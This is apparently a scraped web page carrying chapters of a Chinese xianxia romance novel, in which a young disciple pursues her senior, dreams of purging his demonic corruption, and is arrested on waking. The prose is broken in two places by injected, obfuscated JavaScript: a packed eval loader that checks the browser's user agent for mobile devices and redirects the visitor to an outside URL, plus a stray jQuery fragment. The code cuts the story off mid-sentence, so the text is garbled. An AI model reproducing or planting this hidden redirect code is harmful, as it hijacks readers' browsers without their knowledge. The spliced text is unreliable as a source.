他落在她身上的目光总是轻飘飘的,不算太久的注视,只是似有若无地扫来一眼,像初春的雪,转眼化得了无痕迹。 但这种几乎无言的关注,还是让云挽产生了一种怪异的情绪,就仿佛她与这位只与她说过一句话的师兄不再陌生,不再遥遥相隔,而是穿过层层叠叠的人群,逐渐变得熟悉,带着一份心照不宣的默契。 也因旁人都未察觉出他对她的这份格外关注,便又好像是看起来毫不相干的两人之间,守了一个共同的、无法宣之于众的秘密。 也不怪太虚剑川的同门每每提及沈鹤之时,语气都充满了羡慕和向往,一连六日的比试,这位沈师兄皆在刚一走上擂台后,便一招将对手击败。 众人皆说,沈师兄原本可以不必拔剑,只是为了照顾师弟师妹们的自尊,才象征性地“拔了一下剑”。 云挽看不出太多名堂来,她只觉得沈鹤之很漂亮,他的剑招和他的人都很漂亮。 只是她有些不明白他到底在想什么,整整六日,他既不加掩饰地频频望向她,似是并不在意她是否会注意到他对她的关注;却又根本没有主动来寻她的意思,仿佛丝毫没有要与她有切实交集的想法。 每日比试完后,他便会径直离开武道场,不做任何停留,而这时,崔檀昭则会一脸殷切地跟在他身旁,一刻不停地同他说着话。 云挽找不到能与他单独相处的机会。 不过她也没闲着,她观察到,内门弟子每日都会统一于辰时抵达武道场,而武道场外的山岭苑则成了他们临时休息的地方,只是沈鹤之的比试都在早晨的第一场,所以比试结束后他就直接离开了。 但沈鹤之第七日的比试是在最后一场,在比试开始之前,他必定会在此处等候,云挽知道,那是她唯一的机会。 第七日很快就到了,这日云挽早早地来到了武道场。 内门论道会的最后一日,许多弟子的比试都结束了,留下来的基本都是在门内有名有姓的精英弟子,因此今日的比试也是最有看头的,每个人的情绪都很高涨。 云挽一眼就在人群中看到了沈鹤之,他站在武道场的角落,与那位之前和她接触过的“谢师兄”说着什么。 跟面对崔檀昭时不同,沈鹤之不再是一副心不在焉的模样,那“谢师兄”似与他很熟稔,竟还笑着拍了拍他的肩。 云挽才看了几眼,沈鹤之就察觉了她的视线,转头望来。 与前六日一般,两人隔着人群对视,只是沈鹤之身旁的“谢师兄”却比旁人更加敏锐,竟瞬间捕捉到了这抹异常,顺着沈鹤之的目光一同望了过来。 谢师兄看见她后,立马认出了她来,他扬起唇角,笑眯眯地转去向沈鹤之调侃了几句。 云挽觉得她大概猜出了他在说什么,她不自觉产生了一种仿佛被“撞破”了的尴尬感,整个人也变得有些不自然。 不过沈鹤之却没表现出太多的不同,听完谢师兄的话,他也只是偏头看了他一眼,并未多说什么。 云挽明白,他没在谢师兄面前拆穿她是上任掌教祝言昂的女儿,但他应当也知晓了,她在打听他。 他会怎么想呢...... 云挽猜不出来,但她隐隐约约意识到,沈鹤之应当已经知道了她想来寻他。 在第一场比试正式开始之前,沈鹤之就离开了武道场。 云挽犹豫了片刻,终于鼓起勇气偷偷跟了出去。 山岭苑就在武道场附近,沈鹤之的比试是在下午,他此时定是到那里去休息了。 从武道场通往山岭苑的路上,只零星冒出几人,云挽很快便看见了隐在山间溪旁的庭院。 她心脏“咚咚”跳着,下意识就加紧了脚步。 首先要找到沈鹤之所在的院子...... 云挽正思索着,胳膊就突然被人猛地向后一拽,她猝不及防之下,趔趄着差点摔下去。 她回头一看,就对上了一张熟悉而张扬的脸。 “祝云挽,我早就注意到你了!”崔檀昭恶狠狠地瞪着云挽,“你每日都来武道场看沈师兄的比试,安的什么心别以为我看不出来!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|11511926|122175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 入了水中,光影迅速变化,四周的温度也骤然降了下来,令她情不自禁地哆嗦了一下。 但也只是一瞬的恍惚,她就睁开了眼睛。 入眼是一片白茫茫的天地,寒风呼啸,她四下看去,几乎找不到任何参照物。 但片刻之后,她突然生出了一种汗毛倒立的胆寒感,危险的气息从脚下袭来,她连忙后退几步,从腰间抽出木剑,与此同时,她刚刚站立之处竟崩裂开来,一条雪白的巨蟒猛地钻出,朝她吐着红信。 云挽神色凝重,握着剑的手也紧了几分,雪魇秘境的试炼一共分为两重。 第一重便是与秘境中的妖兽打斗,这些妖兽并非是真正的活物,而是由秘境幻化出的假象,秘境会根据不同弟子的实力,幻化出不同数量的妖兽,斩杀的妖兽越多,便越有拜入三峰长老门下的机会。 在此之前,云挽也有许多次与人比试的经验,甚至于沈鹤之也亲自陪她对过招,她的斗法能力绝对不算弱,但对手是妖兽的情况,还是第一次。 云挽不禁有些紧张,那雪白巨蟒却并不给她太多犹豫的时间,便猛地扑了过来。 她脚下错步,躲闪而出后,木剑也随之斩出,一剑就砍在了巨蟒的七寸处,这一剑又快又准,竟一招便令那巨蟒毙命。 被砍碎的巨蟒化为了点点灵光,很快重新融入了四周的雪地之中,而下一刻,便又有新的妖兽钻了出来,冲云挽张开了血盆大口...... 不知过了多久,也不知斩碎了多少妖兽幻影,经脉丹田之中的灵气终于损耗殆尽,强烈的疲惫令云挽脸色苍白地踉跄了一步。 那片白茫茫的天地终于不再幻化出新的妖兽,周围也随之安静了下来,云挽一时竟有些不适应。 她拖着手中的木剑,剧烈地喘息着,不知多少次的挥剑令她的手臂也酸软得再抬不起来。 她不清楚外面是何情况,心中却忍不住在想,也许在水玉镜旁的师兄此时正看着她呢,也不知她有没有给他丢脸...... 这想法并未持续太久,因为四周的景色又开始变幻,她感觉到了一股强烈的失重感,仿佛是突然被一只无形的手抓起,丢入深不见底的水中。 她随着水波起起伏伏,却并不觉得慌乱,因为她知道,她马上就要开始雪魇秘境的第二重考验了,这也是此次大测的重头戏。 雪魇秘境会通过第一重考验,将参试者的体力和灵气全部耗尽,再将其投入幻梦之中,参试者便会在身心俱疲的脆弱时刻入梦。 心性不足者,修为过低者,皆会迷失在其中,无法在规定的三日之内从梦中醒来,那便算是没能通过大测了。 对于这所谓的幻梦试炼,云挽曾向沈鹤之询问过。 “师兄,那秘境中的幻象会很具迷惑性吗?我会在其中看到什么?” “雪魇秘境并不是想为难你们,所以幻象均没有针对性,只是因人而异,或许是你最害怕之事;或许是你最向往之事;也或许只是偶然在你心间留下痕迹之事,”他对她道,“它的本质只是一场梦,梦的成因很难说清。” 他思索片刻后,又道:“入梦之后,你是无法意识到自己身处幻境的,不过也不需太过担心,幻梦一方面是为了判断你们的修为;另一方面则是想看看你们的神识是否受到过魔气的侵染。” “以你的修为,是不会被困于其中的。” 云挽觉得自己的大脑似乎变得很混沌,她像是睡着了一般,但恍惚了一瞬,她又清醒了。 她低头看去,就见自己手中握着一把剑,那是一把陌生的剑......不,那是她的本命剑...... 闪着寒光的剑刃倒影出了她一侧的脸,她看到她的眼眸中含着浓郁的悲伤,让她的心底也一片酸涩。 随后,她像是突然被惊醒了一般,抬眸向身前望去。 峭壁之前,白衣青年背对她而立,风动衣袍,令他看起来轻飘飘的,仿佛随时会被风吹散。 这时,他仿佛察觉到了她的目光,转身望了过来。 青年眼神冰寒,那张向来如冷玉般的脸庞上,此时却遍布着猩红的魔纹,浓郁如血色流淌,几乎刺痛了云挽的眼。 “云挽,你要杀我吗?” 对了,她想起来了,师兄入魔了,她是来杀他的。 19.19 云挽的手在止不住地颤抖,半晌,剑尖抬起,指向了面前的青年。 沈鹤之没动,他只是静静地望着她,那双被魔气侵染的双目,透着淡淡的赤色,令人看不出他的情绪,只能感觉到一片浓重的肃杀戾气。 下一刻,青年握剑上扬,却并未将无霜剑拔出来,只用剑鞘轻点在了云挽的手腕上。 “剑都握不稳,你要如何杀我?” 如此情形,仿佛又与昔日那个亲自授她剑术的师兄重合,可却又完全不同了。 云挽咬牙道:“过了炽烈血渊,便是归墟海,师兄今日若执意离开,就再也回不了头了。” 山海界分为昆仑仙域和归墟魔域,两方天地呈漏斗状,相互对立,又彼此相连,上方灵气顺转为仙,下方则灵气逆转为魔。 修行之人引灵入道,但灵气在极致的负面情绪下,却会逆转为魔气。 魔气微弱时,会被灵气炼化;但若是魔气浓郁至了一定程度,则会使灵脉受到污染,形成魔脉。 昆仑墟之中便有不少被污染成魔脉之处,各仙门用阵法将其封锁,成了大大小小的凶冢,每隔五年,昆仑墟便会举行除秽节,各仙门都会派出弟子前往凶冢内巩固阵法。 若稍有不慎,魔气蔓延至整个昆仑墟,毁去了所有灵脉,这世间便会阴阳颠倒、血流成河,因此昆仑墟的仙门对待魔,向来是格杀勿论、绝不姑息。 那些本就生于归墟海的魔族,向来残暴嗜杀,对于充斥着灵气的昆仑墟极为不喜,鲜少会穿过炽烈血渊,来到昆仑墟作祟。 而修道之人入了魔,心智也会逐渐被魔气腐蚀,久而久之,自我的意识便会被完全抹除,变成一个盛装魔气的全新个体,成为真正以血肉杀戮为食的魔族,再找不到一丝过去的痕迹。 “回去复命吧,你不是我的对手”沈鹤之神色不变,“我既打算穿过炽烈血渊,前往归墟海,便没有再留在昆仑墟的打算,你可以让崔见山放心,我对昆仑墟的灵脉没有兴趣。” 他扔下这句话后,便转身向峡谷深处而去。 炽烈血渊常年陷在永夜之中,赤红的峭壁岩石似烈火燃烧,连那凛冽的风中都好似透着浓烈而炙热的血腥气。 云挽稍愣了愣,不远处的青年仍是一身白衣,只留给了她一道背影,她恍惚地看着他,就如过去与他生活在飞泠涧的那些年一般,她总会这样默默望着他的背影,踩着他留下的脚印,静静地跟在他身后。 他走在漆黑与赤红之间,好似与过去没有任何区别。 她不是他的对手,更无法阻拦他,但她却很清楚,倘若她真的放他离开,便真的再没挽回的余地了...... 甚至于,从此以后,她再不会见到他...... 握着剑的手猛地收紧,脚尖点地的瞬间,云挽整个人都扑了过去,眠雪十六剑第一式随之斩出,直奔青年后背。 剑风锋利,云挽却突然生出了一种强烈的酸涩感,眠雪十六剑本就是师兄教授她的,她从来没想过,她有一天会用这一式剑招指向他。 “铮”的一声,无霜剑终于出鞘,带着寒意的剑气向后撞来,他虽已坠魔,剑气却仍如过去一般坦荡清冽。 在剧烈的碰撞之下,云挽不受控制地倒飞了出去,她踉跄着后退了几步,才勉强站稳。 “没听懂我的话吗?”沈鹤之回眸冷冷看她,无霜剑锋利的剑尖也指向了她的咽喉。 他的目光冰寒彻骨,声音冷冽如雪:“念在师兄妹一场,我放你一条生路,不要得寸进尺。” 云挽的呼吸起伏着,虎口也被震得隐隐生疼,经脉中的灵气剧烈翻涌,她已再没了二次出剑的能力。 只是片刻的犹豫,她突然回剑入鞘,径直向前迈出一步,咽喉处柔软的皮肤也毫无阻挡地撞在了无霜剑的剑尖上。 沈鹤之手腕僵了一下,他的反应很快,及时后撤了一寸,那点尖锐的剑尖才没破开那处温热柔软。 “你要做什么?”沈鹤之问她,“你以为我不会杀你?” 云挽深吸了一口气,竟露出了一个很轻松的笑容:“师兄既已决定了要前往归墟海,不如带我一起吧......” 她停顿了一下,又道:“或者现在杀了我。” 自云挽出现起,沈鹤之就始终冷着一张脸,仿佛不会被任何事扰乱心绪,但此时的他,在听了这些话后,还是露出了些不一样的神情。 “你知道你在说什么吗?”他看着她,“你若和我走了,便是叛逃师门、私通魔族,再没有回头的机会了。” “嗯,我知道,”云挽坦率点头,“我不在乎其他人怎么想,我只知道,在这世间,唯有师兄对我最好,为了师兄,叛逃师门又如何?” 沈鹤之看着她,他的眼神很奇怪,像是一种审视,又仿佛是无法理解。 对视半晌,他放下无霜剑,收剑入鞘,转身继续向前走去。 他什么也没说,没有同意,却也没有拒绝。 云挽只稍作犹豫,便连忙抬脚跟上。 炽烈血渊的谷底就是进入归墟海的入口,从层层堆叠的悬岩峭壁之上向下望去,只能看到一片漆黑的巨渊深海。 如胶质般的魔气流淌纠缠,只是靠近,云挽都觉经脉丹田之中的灵气不受控制地受到了牵引,隐隐变得紊乱。 冷汗从额间冒出,她的呼吸愈发艰难痛苦,步子也越来越沉,片刻之后,她就被沈鹤之落在了身后。 云挽心中焦急,恍惚间,她竟绊了一步,整个人都向侧旁栽去,一只手却恰在此时伸来,拉住了她的小臂。 “归墟海内魔气浓郁,你所修并非魔道,身处其中会非常痛苦,”他提醒道,“你现在还有反悔的机会,赶紧离开。” 云挽抬眸看他,她鬓角的发丝已被汗水打湿,脸色也苍白如纸,但她还是毫不犹豫地摇了摇头:“我不后悔,大不了我也修魔。” “不行,”沈鹤之拉住她的手突然收紧了几分,“你不能修魔。” “为何不能?”云挽看着他,“师兄都能自愿坠入魔道,我为何不能?” “我说不能就是不能。” 冰寒之气缓缓蔓来,将丝丝缕缕萦绕在空中的魔气阻挡在外,云挽的呼吸也变得平稳了许多,紊乱的经脉仿佛重新找回了秩序。 “师兄刚刚还要与我划清界限,如今却又管起我能不能修魔了,这是什么道理?” 沈鹤之没有回答,只是深深看了她一眼,随后放开了她的胳膊,转身继续向前走去。 围绕着巨渊入口的岩壁层层堆叠,崎岖陡峭,云挽周身灵气受阻,走得艰难,但沈鹤之这次却放慢了脚步,她便不至于再像之前那般跟不上他了。 “师兄不让我修魔,是觉得魔道不好,那为何自己却要走上这条路?” 沈鹤之没接话,也没再停下脚步。 “若师兄是担心太虚剑川已没了容身之处,那不如找个没人的地方隐世修行,”她小心看了他一眼,又道,“我可以陪着师兄。” 她等了一会儿,沈鹤之却仍是没开口,云挽不禁有些失望。 又走出一段,她再次道:“我不是师兄的对手,他们却将我派来,便是看出了师兄不会对我下杀手,他们利用我减少伤亡本也无可厚非,但我亦有自己的选择。” 这次,身前的青年倒是回头看向了她,漆黑的发丝似被血色的峭壁映得发红,但他那双眼眸却并未因魔气的侵蚀而变得浑浊,反而清明澄澈。 他轻声开口:“也许你的选择是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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云挽惊醒时,就望见一轮赤红如血的夕阳挂在天际,又慢慢低沉。 巨大而光秃的榕树,枝桠弯绕,捧起天边的一抹血色,是与昆仑墟完全不同的景色。 云挽此时正躺在盘绕的树根上,一件衣衫披于她肩头,她不知睡了多久。 她愣怔片刻,突然扭过头去,不远处,青年背对她而立,赤血般的夕阳仿佛将他的白衣也染成了一片猩红之色。 云挽盯着他看了一会儿,这才低下头,目光落在了自己的左手。 五指缓缓张开,掌心便隐隐透出了一道纯净的金色灵光。 净尘咒印,是她离开太虚剑川时,在藏灵峰中寻来的一道印诀,其效用便是净秽祛祟、祓除魔气。 只要将它打入堕魔之人的心脏,便可在不伤其魂魄的情况下,将魔气完全祛除到体外。 只是在祛魔的过程中,施术者会处在绝对脆弱的状态,命门完全暴露而出,任何人都可轻易将其杀死。 云挽合上了五指,再次闭上了眼睛。 她已经试过了,师兄对她还念了一份旧情,无法下手杀她。 她现在只需博得更多的信任,再趁其不备,便能将这枚咒印打入他的心脏了。 云挽其实真的不在乎沈鹤之是否入魔,他不管身处何处,又做了什么事,他都是她的师兄,是带她入道、授她剑术,免她遭旁人欺辱的师兄,她可以为他叛出师门,甚至可以为他做违背原则的事。 可修行之人一旦入魔,便会逐渐失去自我,宛如被魔气夺舍吞噬,变成另一个人。 她不明白师兄为何会选择坠魔,但无论如何,她也不能看着他在这条不归路上越陷越深。 “云挽,我们该走了。” 青年终于察觉到她已经醒来,他转过身,朝她伸出了一只手。 不知是因心怀不轨,还是别的什么原因,云挽的心脏竟在这一刻剧烈地跳动了起来。 她握住了那只朝她伸来的手,脑海中突然冒出了一个念头。 她想,就算所有人都放弃你,我也绝不放手。 20.20 归墟海的夜晚,天上挂着一轮赤红血月,连洒下的月辉仿佛都血淋淋的,透着股令人不舒服的阴郁。 云挽披着一件漆黑的斗篷,藏住了满身的灵气,随着沈鹤之一同落脚在了一间破败的寺庙中。 庙中供着尊陌生石像,张牙舞爪、凶戾残暴,令人望之生畏。 “云挽,过来。” 师兄在身后唤她,她回头看去,就见他用衣物和稻草铺出了一处干净整洁的休息处。 云挽没拒绝,她慢慢躺下,闭上了眼睛,沈鹤之则坐在她身旁,闭目打坐。 归墟海中的魔气太过浓郁,云挽只觉丹田隐隐作痛,难以入睡。辗转至后半夜,她忍不住转过头去,看向了身侧青年的胸膛处。 她的左手下意识蜷缩了一下,心中的念头也在蠢蠢欲动。 只要能成功将净尘咒印打入他的心脏,便可将魔气祛除。 到时师兄会在一段时间内处于虚弱的状态,她大不了将他绑出归墟海。 太虚剑川容不下他,她可以在昆仑墟随便寻个无人处将他藏起来,总归是比现在好的。 云挽盯着他看了一会儿,终于试探性地坐起身,可还未等她向他靠近,青年便掀开眼皮,垂眸望了过来。 他没说话,眼神中却带了明显的询问。 云挽一时有些心虚,只小声道出一个字——“冷。” 她也的确觉得冷,四周的魔气令她很不适,阴寒感仿佛从脚底升起,时时刻刻包裹着她。 沈鹤之蹙眉思索了片刻,竟垂手握住了她的手腕。 他修得一身寒气,气息自也冰冷刺骨,可那冰寒之气覆来后,云挽却并不觉得冷,那股萦绕不散的阴寒也随之消失了,她生出了几分困倦。 昏沉间,她忍不住问他:“师兄为何一定要入魔,这归墟海有什么好的?” 她恍恍惚惚地问着他,竟觉得这个问题似是憋在她心中许久,也曾令她困扰过许久。 为什么要入魔?为什么要与她兵戈相向?为什么?她想不通...... 沈鹤之似是说了一句什么,她努力想去听,却怎么也听不清楚。 * 云挽一身灵气受阻,在这充斥着魔气的归墟海中,既走不动,也经不起折腾,来此的第三日就发起了高烧。 她浑浑噩噩、意识不清,像是陷在一片浮浮沉沉的噩梦中,只觉得沈鹤之似是背着她走了许久,又带着她入了城。 归墟海的城镇中,生活着的皆是魔族,可云挽的经脉中流淌的却是灵气,若是被魔族发现了她的踪迹,以她如今的身体情况,甚至无法顺利逃脱。 沈鹤之将她安置在了一处客栈中,每日都会给她熬制能令她的身体适应魔气的草药,但不知为何,效果并不好。 她反反复复地昏睡着,几乎醒不过来,更没能找到施展净尘咒印的机会。 这日,她再睁开眼时,就见师兄正坐在她床边,低头看着她,不知在思索什么。 对上她的视线后,他突然道:“明日我送你回昆仑墟。” 云挽愣了一下,她忙问道:“那师兄呢?” “我会留在归墟海。” 云挽反应了片刻,这才强撑着坐起了身,抓住了沈鹤之的手腕,慌张地看着他:“你不要我了吗?” 她的问题令他的神色变得有些异样,他沉默地注视着她,半晌才突然问道:“你想死在我面前吗?” 见她怔忡,他解释道:“若继续留在此,你会死。” “那如果我说我宁愿赴死,也想和师兄在一起呢?” 他的眸光微微闪烁了,因着她的话,他明显地愣住了。 而下一刻,云挽的左手突然拍出,一掌重重击在了他的胸膛上。 他猝不及防之下,根本不及反应,源源不断的灵气便从云挽掌心涌出,很快包裹住了那颗浸在魔气中的心脏。 “这就是你的目的?”沈鹤之眼底闪过惊怒之色,垂眸望向她时,眸中的赤红似是更加浓郁,隐隐透着杀气,“你果然是来杀我的,你所说那些话,也是为了骗取我的信任。” 云挽抿唇不答,她也无法分心作答,净尘咒印随之发动,她全力以赴地祛除着那丝丝缕缕的魔气。 “放手。”他的声音愈发冰寒。 云挽不为所动,也就在此时,放在一旁的无霜剑突然出鞘,利剑从身后击射而来,带着不可抵挡的气势,速度却并不快,只要她放手就能轻易躲开。 她感觉得出来,沈鹤之生气了,但也对她手下留情了。 可此时正到关键处,若是放手便会功亏一篑,她好不容易等来了这个机会,他不会再在她面前放松警惕,她也解释不清她的意图。 云挽的大脑有一瞬间的空白,而只是这片刻的愣神,无霜剑便“扑哧”一声没入了她的身体之中。 剑尖从后心穿入,又从前胸穿出,云挽整个人都僵了一下,尖锐的疼痛令她瞬间白了脸色,但她的手却没有放下,仍紧紧压在沈鹤之的胸膛上。 沈鹤之的确手下留情了,这刺来的一剑上甚至没被灌输灵气,剑锋内敛,不见剑意,若是放在平时,根本不足以对她造成太大的伤害。 但施展净尘咒印时,护体灵气会尽数散去,命门也会随之暴露,这平平飞来的一剑,便径直贯穿了她的身体,狠狠刺入了她的心脏。 她抬起头来,眼眶泛红地看向了他,她看到他不可置信地瞪大了眼睛,强烈的情绪在他眼底浮现,他伸出胳膊搂住了她的肩。 这一刻,云挽的脑海里闪过了许多念头,她一时觉得有些后悔,一时又忆起了过往与师兄相处的那一幕幕片段。 初入太虚剑川时,陪着她走完登仙路的师兄...... 她被崔檀昭重伤后,将她抱回飞泠涧的师兄...... 还有亲自授她剑法;偷偷将肉包子放在她窗前;在她生辰时候赠她发簪的师兄...... 魔气终于祛除殆尽,净尘咒印在她掌心消散,她的手也无力地垂了下去。 “师兄,我、我没骗你,我对你说的话......都是真心的......” 疼痛令她整个人都克制不住地瑟缩发抖,她捂着心脏,慢慢弯下腰,靠入了青年怀中。 “师兄,哥哥......”她胡乱唤着,“求你不要入魔 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云挽剧烈地喘息着,她想说服自己,那一切都是假的,可那份来自梦境的情绪却又那般真实,丝丝缕缕地缠绕着她,令她疼痛又窒息。 她突然像是意识到了什么,抬眸看向不远处,只这一眼,她便对上了一双熟悉而寂冷的眼眸,和梦中的一般无二,却又隐隐不同。 被一剑穿心的触感仿佛又被唤起,疼痛再次袭来,她痛苦地捂住了心脏,再站立不稳地跌在了地上。 那望着她的青年似是想来扶她,但脚还未完全抬起,便又被他止住了,他最终只是站在原地,望来的眼神中,带着藏不住的复杂。 云挽是从水玉镜下方的入口脱离而出的,等在见寒峰上的人将她团团包围,一双双眼睛都落在她身上,神色各异,她刚从噩梦中惊醒,狼狈而彷徨。 而就在这时,立于水玉镜旁的崔见山突然扬起手中的拂尘,遥遥指向她,大声呵道:“将她押去戒律堂,等候审问!” 随着他的一声令下,虞惊意便带着两名戒律堂弟子向她而来,铁钳般的手按在了她的肩上,轻易将她压了下去。 在一阵眩晕中,她失重了一瞬,再回过神时,脸颊已与地面重重相贴,钝痛感锉在皮肤上,令她骤然清醒,又让她格外茫然。 这一刻,梦境似与现实交织,云挽几乎分不清自己到底身处何处,她恍惚以为自己好像仍陷在噩梦中无法醒来。 她没有反抗,她本也无力反抗,她只是瞪大了眼睛,紧紧地盯着那道站在人群中的身影。 她在看他,他却垂下视线,避开了她的目光。 那双擒住她的手很快将她架起,人影晃动,那抹身影也被人群淹没,掩在了她的视线之外。 “......只要我活着,我就不会允许任何人伤害你......” 青年的声音仿佛又在耳边响起,仍如记忆中那般带了几分冷冽,却又像是沉入了深海之中,逐渐远去,令她再听不清晰。 泪水顺着脸颊淌下,她紧抿着唇,才强忍着没有哽咽出声。